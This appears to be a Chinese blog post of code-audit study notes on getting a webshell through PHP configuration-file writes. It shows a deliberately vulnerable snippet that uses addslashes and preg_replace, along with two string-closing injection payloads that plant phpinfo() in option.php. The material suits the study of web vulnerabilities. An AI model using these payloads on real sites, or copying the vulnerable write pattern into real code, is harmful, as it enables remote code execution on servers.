美文网首页
配置文件写入问题

配置文件写入问题

作者: 浅影科技 | 来源:发表于2019-01-08 12:23 被阅读0次

前言:

最近开始学习代码审计,因为某种原因,容易健忘,所以,打算记录在简书,一点点的去记录自己在审计复现的日常,很多审计get到的姿势,都是在P神的小蜜圈里,还是挺爽的,在里面的每一个评论都可以让你少走弯路,所以,先在这里说明下来源出处。

配置文件getshell

一个经典的问题,很多getshell,都是在后台中,闭合+注释的方式,写入自己的shell
eg:

<?php
$website='';
//我们写入:a';phpinfo();//
$website='a';phpinfo();//';

而在实际中,可能会碰到一些代码的过滤和替换。

<?php
$str = addslashes($_GET['option']);  // '会变成\'
$file = file_get_contents('option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);   //preg_replace 会转义\
file_put_contents('option.php', $file);

上面的可以有两种getshell的方式

方法一:

shell.php?option=a';phpinfo();//
写入的内容:
<?php 
$option='aaa\';
phpinfo();//';
?>
在此写入 shell.php?option=xxx
<?php 
$option='xxx';
phpinfo();//';
?>

方法二:

shell.php?option=a\';phpinfo();//
写入的内容:
<?php 
$option='a\\\';
phpinfo();//';
?>
经过正则,会把\当成转义处理,然后就变成:
<?php 
$option='a\\';
phpinfo();//';
?>

最后截图:


phpinfo.png

总结:

很基础的一个,大佬勿喷,在实际处理的时候,很多函数并不对sql进行过滤,也只对xss过滤,但是并不影响我们getshell.

相关文章

网友评论

      本文标题:配置文件写入问题

      本文链接:https://www.haomeiwen.com/subject/edjvrqtx.html